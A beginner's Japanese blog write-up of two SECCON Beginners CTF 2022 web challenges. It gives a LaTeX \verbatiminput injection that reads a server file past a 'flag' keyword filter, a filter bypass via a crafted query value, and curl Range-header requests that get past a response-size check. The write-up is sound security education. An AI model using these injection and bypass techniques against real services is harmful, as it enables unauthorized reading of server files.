SECCON Beginner CTF 2022 WebのEasyレベルに挑戦: CTF未経験者目線で解法を書きます

# 

## はじめに

CTF未経験者としてBeginnerレベルの問題を解いてみた前回の記事はこちら

https://qiita.com/DonGury/items/2dc553cd0b337fb1eab7

今回はWebのEasyレベルに挑戦してみます。
なお私のレベルは前回と変わらずCTF初挑戦レベルです。未経験者の視点で答えにたどり着くまでの足跡を書き残しますので冗長になっていますが、同じく未経験者の方のお役に立てれば幸いです。

---

## 問題と解法

### 環境

    OS: Windows11
      WSL2 (Ubuntu):  Ubuntu 20.04.4 LTS
        curl 7.68.0
        Python 3.8.10
      ブラウザ: Microsoft Edge バージョン 102.0.1245.41 (公式ビルド) (64 ビット)
---

### **Web**

#### textex

- Texのコードを入力し「toPDF」ボタンを押すとPDFに変換したものが表示されるアプリが提供されている。

  ![Web-textex.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/7ca29562-c79d-15f7-7f27-4f5fcd596bcd.png)

- 提供されたアプリのファイルを見ると`app.py`というWebアプリのスクリプトと、同ディレクトリに`flag`というファイルが存在する。Texコードを利用して`flag`ファイルを取れればよさそう。

  ```bash
  $ ls
  Dockerfile  app.py  flag  requirements.txt  templates  tex_box  uwsgi.ini
  ```

- `app.py`のスクリプトを見ていく

  ```python:app.py
  import string
  import subprocess
  from flask import Flask, request, send_file, render_template

  app = Flask(__name__)
  app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024

  @app.route("/")
  def top():
      return render_template("index.html")

  def tex2pdf(tex_code) -> str:
      # Generate random file name.
      filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
      # Create a working directory.
      os.makedirs(f"tex_box/{filename}", exist_ok=True)
      # .tex -> .pdf
      try:
          # No flag !!!!
          if "flag" in tex_code.lower():
              tex_code = ""
          # Write tex code to file.
          with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
              f.write(tex_code)
          # Create pdf from tex.
          subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
      except:
          pass
      if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
          # OMG error ;(
          shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
      return f"{filename}"

  @app.route("/pdf", methods=["POST"])
  def pdf():
      # tex to pdf.
      filename = tex2pdf(request.form.get("tex_code"))
      # Here's your pdf.
      with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f:
          pdf = io.BytesIO(f.read())
      shutil.rmtree(f"tex_box/{filename}/")
      return send_file(pdf, mimetype="application/pdf")

  if __name__ == "__main__":
      app.run(debug=True, host="0.0.0.0", port=4444)
  ```

- `tex2pdf()`はPOSTリクエストで受信した`tex_code`をtexファイルに書き出し、texファイルをPDFに変換し、そのPDFファイル名を返却している。

  Texで`flag`ファイルを読み込んで表示すればよいが、
  `tex_code`中に`flag`という文字があると`tex_code`を空にする処理があるため、
  「Texコード内には`flag`という文字列を使ってはいけない」という縛りがあるもよう。
  
- Texについて調べる

  - 外部ファイルを読み込んで表示する方法

    ```tex
    \documentclass{article}
    \begin{document}

    \input{filename}

    \end{document}
    ```

    けどfilenameのところに`flag`という連続した文字列を入れてはいけないという縛りがあるので、`flag`という文字列を分解して表現できないか調べてみる。

  - 文字列を分割して表現できる方法 (newcommandを利用する)

    ```tex
    \documentclass{article}
    \begin{document}

    \newcommand{\concat}[2]{#1#2}

    \input{\concat{f}{lag}}

    \end{document}
    ```

    これならいけそうな気がする！！！

- 早速上記方法でTexコードを送ってみる

  - 結果はエラー画面に飛ばされた。なおエラー画面にはとっても美味しそうなラーメン画像が表示されています(笑)

  - 試しに同じディレクトリにある別ファイル`Dockerfile`で試してみるが同じくエラー

  - やり方間違ってるのか不安になりつつ別ファイル`requirements.txt`で試すと中身が表示できた！！！

  `app.py`を見る限りエラー画面に飛ばされるのは、`tex_code`が空のときかPDF化失敗のとき。Texコードには`flag`という連続した文字列は含めていないので強制的に空にされることはなく、おそらくPDF化失敗によるものだと推測する。

  ・・・ここから一日悩む。何故PDF化失敗なのかわからない・・・
  
  **`requirements.txt`の内容が表示できたので、このTexコードで正しいはず**。ということは、フラグ文字の中にTexが嫌う文字が含まれているかもしれない、と推測する。

- フラグに使用される文字コード [\x20-\x7e] でTexが嫌いそうな文字を探す

  - とりあえずフラグに使用される文字をズラッと並べる

    ```python
    $ python3
    Python 3.8.10 (default, Mar 15 2022, 12:22:08)
    [GCC 9.4.0] on linux
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import struct
    >>> text=b''
    >>> for letter in list(range(0x20,0x7e,1)):
    ...     text += struct.pack("B",letter)
    ...
    >>> text
    b' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}'
    ```

  - Texコード内に入れて送ってみる

    ```tex
    \documentclass{article}
    \begin{document}

     !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}

    \end{document}
    ```

    エラー画面に飛ばされた。(ほんとうに美味しそうなラーメンの写真が表示ｓれるので何度も見てるとそろそろこのラーメンが食べたくなってきた)

    つまり**フラグに使用される文字の中にTexが嫌がる文字**(コントロール文字か扱えない文字？)が含まれていると思われる。そこでフラグに使用される文字をTexが解釈してしまわないような方法があるか調査してみる。

- テキストを整形済みとしてそのまま表示させるTexコマンドの調査(textileのpreのような)

  `verbatim`というものがあるらしいので早速試してみるとエラー無しでPDF化され文字列が表示された！

  ```tex
  \documentclass{article}
  \begin{document}

  \begin{verbatim}
  !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}
  \end{verbatim}

  \end{document}
  ```

- `newcommand`との合わせ技でTexコードを送ってみる

  ```tex
  \documentclass{article}
  \begin{document}

  \newcommand{\concat}[2]{#1#2}

  \begin{verbatim}
  \input{\concat{f}{lag}}
  \end{verbatim}

  \end{document}
  ```

  本当に**そのまんま** "`\input{\concat{f}{lag}}`" ってPDFで表示された(笑) そりゃそうだ・・・

- 外部ファイルをそのまま表示させるようなTexコマンドを探す

  プログラムのソースコードをLaTeXに埋め込む方法を見つけたのでそれを試してみる。

  ```tex
  \documentclass{article}
  \usepackage{verbatim}
  \begin{document}

  \newcommand{\concat}[2]{#1#2}
  \verbatiminput{\concat{f}{lag}}

  \end{document}
  ```

  **やっとフラグが取れました！**

  ![Web-textex-flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/85e96b51-89bc-eb27-22eb-c1216a15c68a.png)

- おまけ: エラー画面ほんとに美味しそう

  ![Web-textex-err.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/bfce65ff-6ff4-41a4-7c7a-140b5d100e8f.png)

#### gallery

- 選択した画像が表示されるWebアプリが提供されている。

  ![Web-gallery.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/befadc3f-c1d4-2366-0333-9d51929d1fc8.png)

  まずプルダウンメニューにより画像の拡張子をgif, jpeg, pngから選択する。その後、jigohoukokuとlgtmのどちらかのリンクをクリックすると、該当する画像が表示される。

  Webブラウザからはプルダウン選択、画像のリンクをクリックの操作のみが可能なので、おそらくHTTPリクエストを直接送り込むことになるんだろうなぁと想像する。

- `main.go`, `handlers.go`というソースコードが提供されている。
  
  Go言語は未履修だったので雰囲気で解読する。

- `main.go`

  ```go:main.go
  package main

  import (
    "bytes"
    "net/http"

    "github.com/gorilla/mux"
  )

  const (
    PORT = "8080"
    DIR  = "static"
  )

  type MyResponseWriter struct {
    http.ResponseWriter
    lengthLimit int
  }

  func (w *MyResponseWriter) Header() http.Header {
    return w.ResponseWriter.Header().Clone()
  }

  func (w *MyResponseWriter) Write(data []byte) (int, error) {
    filledVal := []byte("?")

    length := len(data)
    if length > w.lengthLimit {
      w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
      return length, nil
    }

    w.ResponseWriter.Write(data[:length])
    return length, nil
  }

  func middleware() func(http.Handler) http.Handler {
    return func(h http.Handler) http.Handler {
      return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
        h.ServeHTTP(&MyResponseWriter{
          ResponseWriter: rw,
          lengthLimit:    10240, // SUPER SECURE THRESHOLD
        }, r)
      })
    }
  }

  func main() {
    r := mux.NewRouter()
    r.PathPrefix("/images/").Methods("GET").Handler(http.StripPrefix("/images/", http.FileServer(http.Dir(DIR))))

    r.HandleFunc("/", IndexHandler)

    http.ListenAndServe(":"+PORT, middleware()(r))
  }
  ```

- `handlers.go`

  ```go:handlers.go
  package main

  import (
    "html/template"
    "log"
    "net/http"
    "os"
    "strings"
  )

  type Embed struct {
    ImageList []string
  }

  func IndexHandler(w http.ResponseWriter, r *http.Request) {
    t, err := template.New("index.html").ParseFiles("./static/index.html")
    if err != nil {
      http.Error(w, err.Error(), http.StatusInternalServerError)
      log.Println(err)
      return
    }

    // replace suspicious chracters
    fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
    fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
    if fileExtension == "" {
      fileExtension = "jpeg"
    }
    log.Println(fileExtension)

    data := Embed{}
    data.ImageList, err = getImageList(fileExtension)
    if err != nil {
      http.Error(w, err.Error(), http.StatusInternalServerError)
      log.Println(err)
      return
    }

    if err := t.Execute(w, data); err != nil {
      http.Error(w, err.Error(), http.StatusInternalServerError)
      log.Println(err)
      return
    }
  }

  func getImageList(fileExtension string) ([]string, error) {
    files, err := os.ReadDir("static")
    if err != nil {
      return nil, err
    }

    res := make([]string, 0, len(files))
    for _, file := range files {
      if !strings.Contains(file.Name(), fileExtension) {
        continue
      }
      res = append(res, file.Name())
    }

    return res, nil
  }
  ```

- `handlers.go`内に怪しい処理を発見

  ```go:handlers.go
  // replace suspicious chracters
  fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
  fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
  if fileExtension == "" {
    fileExtension = "jpeg"
  }
  log.Println(fileExtension)
  ```

  HTTPリクエストのクエリに`file_extention`というキーがあり、そのキーに指定されている文字列中の`flag`という文字列がすべて空文字に置換される。その後に値が空文字であるならば`jpeg`が設定される。

  つまり`flag`という文字列が空文字に置換されても値そのものが空文字にならなければ`jpeg`に置換されることがない。
  
  またコード上で`flag`という文字列に対処しているということは`fileExtention`が`flag`になることを嫌がっているように思える。
  
  **つまり例えば`file_extention="fflaglag"`のようにすれば何か起きそう**。

- ブラウザのデバッグモードを使ってリクエストを解析

  拡張子gifを選択した時のネットワーク情報を確認すると`https://gallery.quals.beginners.seccon.jp/?file_extension=gif`というリクエストが発行されているのがわかる

    ![Web-gallery-request.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/fe9fbf02-233c-127f-4959-051bed195d14.png)

- リクエストを編集して再送信してみる
  
  - Queryの`file_extension`キーの値を`fflag`にして再送信

    ![Web-gallery-request-fflag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/c18ab6eb-6339-4e4d-1671-0af32e8040f2.png)
  
  - フラグへのリンクが出てきた

    ![Web-gallery-request-flagpdf.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/281c4d49-90b3-645f-63ca-5ad750b0f89c.png)

    ![Web-gallery-flag-link.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/c463dd5b-8c73-9ed6-ed98-7e234ccbc839.png)


    ネットワークのログから「新しいタブで開く」を選択して応答画面を確認すると、フラグと思われるPDFへのリンクが現れたのでクリックしたが、大量の"?"が表示された…そんなに甘くはなかった…

  - Responseデータにサイズ制限がかかっている

    Responseデータのサイズ制限は10240byte
    
    ```go:main.go
          h.ServeHTTP(&MyResponseWriter{
            ResponseWriter: rw,
            lengthLimit:    10240, // SUPER SECURE THRESHOLD
          }, r)
    ```

    データサイズが10240byteを上回る場合は、データサイズ分の "?" が返送される仕組み

    ```go:main.go
    filledVal := []byte("?")

    length := len(data)
    if length > w.lengthLimit {
      w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
      return length, nil
    }
    ```
- データサイズを10240byteずつ分割してフラグを取得してみる

  フラグのリンクが分かったのでここからはcURLコマンドを使う

  - まずは大量"?"で置き換えられたフラグファイルのサイズを確認すると16085byteであることがわかる

    ```bash
    $ curl -s -v -o flag https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
    :
    $ ls -l flag
    -rw-r--r-- 1 user user 16085 Jun 25 00:21 flag
    ```

  - サイズ制限である10240byte刻みでリクエストを送る
  
    0byte目から10239byte目までの10240byteのレスポンスボディを`flag1`に、

    10240byte目から16085byte目までのレスポンスボディを`flag2`に保存する

    ```bash
    $ curl -s -v -o flag1 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "range: bytes=0-10239"

    $ curl -s -v -o flag2 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "range: bytes=10240-16085"
    ```

  - `flag1`と`flag2`を結合する
  
    ```bash
    $ cat flag1 flag2 > flag.pdf
    ```

  - 結合した`flag.pdf`を開くと…
  
    **フラグが見れました！**
  
    ![Web-gallery-flag.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2514738/5fe8fb42-90a4-4833-b7d3-ee14ee8bbf11.png)